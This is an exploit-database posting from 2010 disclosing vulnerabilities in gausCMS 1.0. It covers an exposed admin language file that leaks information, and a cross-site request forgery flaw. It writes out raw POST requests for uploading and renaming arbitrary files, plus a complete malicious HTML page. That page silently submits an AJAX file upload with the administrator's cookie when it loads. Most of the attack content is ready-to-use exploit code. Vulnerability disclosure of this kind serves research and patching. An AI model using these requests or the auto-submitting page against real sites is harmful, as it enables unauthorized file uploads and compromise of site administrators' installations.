[webapps / 0day] - gausCMS Multiple Vulnerabilities
Posted on 22 September 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>gausCMS Multiple Vulnerabilities | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exploit category: webapps / 0day | Exploit author: Abysssec' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>================================ gausCMS Multiple Vulnerabilities ================================ Title : gausCMS Multiple Vulnerabilities Affected Version : Gaus CMS version 1.0 Discovery : www.abysssec.com Vendor : http://www.gaustudio.com/gausCMS.html Download Links : http://sourceforge.net/projects/gauscms/ Description : =========================================================================================== This version of gausCMS have Multiple Valnerabilities : 1- Access to Admin's Login and Information Disclosure 2- CSRF Upload arbitrary file and rename file Access to Admin's Section and Information Disclosure: =========================================================================================== With this path you can easily access to Admin's Login: http://Example.com/admin_includes/template/languages/english/english.txt Vulnerable Code: http://Example.com/default.asp Ln 37: Set oFile = FSO.GetFile(PATHADMIN & "admin_includes/template/languages/" & GUILanguage & "/" & GUILanguage & ".txt") CSRF Upload arbitrary file and rename file =========================================================================================== With send a POST request to this path, you can upload arbitrary file of course by Admin's cookie and by CSRF technique. http://Example.com/default.asp?dir=&toDo=uploadFile For example you can feed this POST Request to Admin : POST http://Example.com/default.asp?dir=&toDo=uploadFile HTTP/1.1 Host: Example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://Example.com/default.asp?dir=&toDo=uploadFile Cookie: Skin=default; ASPSESSIONIDQSASTTBS=EIPNNJIAKDDEAGDKACICOBHJ Content-Type: multipart/form-data; boundary=---------------------------287032381131322 Content-Length: 306 Message Body: -----------------------------287032381131322 Content-Disposition: form-data; name="attach1"; filename="Test.txt" Content-Type: text/plain 123 -----------------------------287032381131322 Content-Disposition: form-data; name="toDo" Upload File -----------------------------287032381131322-- ---------------------------------------------------------------------------------- With the same method we can rename files with following path: http://Example.com/default.asp?dir=&file=Test2.txt&toDo=Rename%20File For example you can feed this POST Request to Admin: POST http://Example.com/default.asp?dir=&file=Test.txt&toDo=Rename%20File HTTP/1.1 Host: Example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://Example.com/default.asp?dir=&file=Test2.txt&toDo=rename Cookie: Skin=default; ASPSESSIONIDQSASTTBS=IIPNNJIANIKOIKGOGOIKAJGE Content-Type: application/x-www-form-urlencoded Content-Length: 39 Message Body: newFileName=Test2.txt&toDo=Rename+File The Source of HTML Page (Malicious Link) for Upload Arbitrary file =========================================================================================== With this page, we send a POST request with AJAX to upload a file with Admin's Cookie. <html> <head> <title >Wellcome to gausCMS!</title> Hello! ... ... ... This page uploads a file <script> var binary; var filename; function FileUpload() { try { netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); } catch (e) { } var http = false; if (window.XMLHttpRequest) { http = new XMLHttpRequest(); } else if (window.ActiveXObject) { http = new ActiveXObject("Microsoft.XMLHTTP"); } var url = "http://Example.com/default.asp?dir=&toDo=uploadFile"; var filename = 'Test.txt'; var filetext = ' 123 '; var boundaryString = '---------------------------287032381131322'; var boundary = '--' + boundaryString; var requestbody = boundary + ' ' + 'Content-Disposition: form-data; name="attach1"; filename="' + filename + '"' + ' ' + 'Content-Type: text/plain' + ' ' + ' ' + filetext + ' ' + boundaryString + 'Content-Disposition: form-data; name="toDo"' +'Upload File' + ' ' + boundary; http.onreadystatechange = done; http.open('POST', url, true); http.setRequestHeader("Content-type", "multipart/form-data; boundary=" + boundaryString); http.setRequestHeader("Connection", "close"); http.setRequestHeader("Content-length", requestbody.length); http.send(requestbody); } function done() { if (http.readyState == 4 && http.status == 200) { //alert(http.responseText); //alert('Upload OK'); } } </script> </head> <body onload ="FileUpload();"> </body> </html> =========================================================================================== # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-22]</pre></body></html>
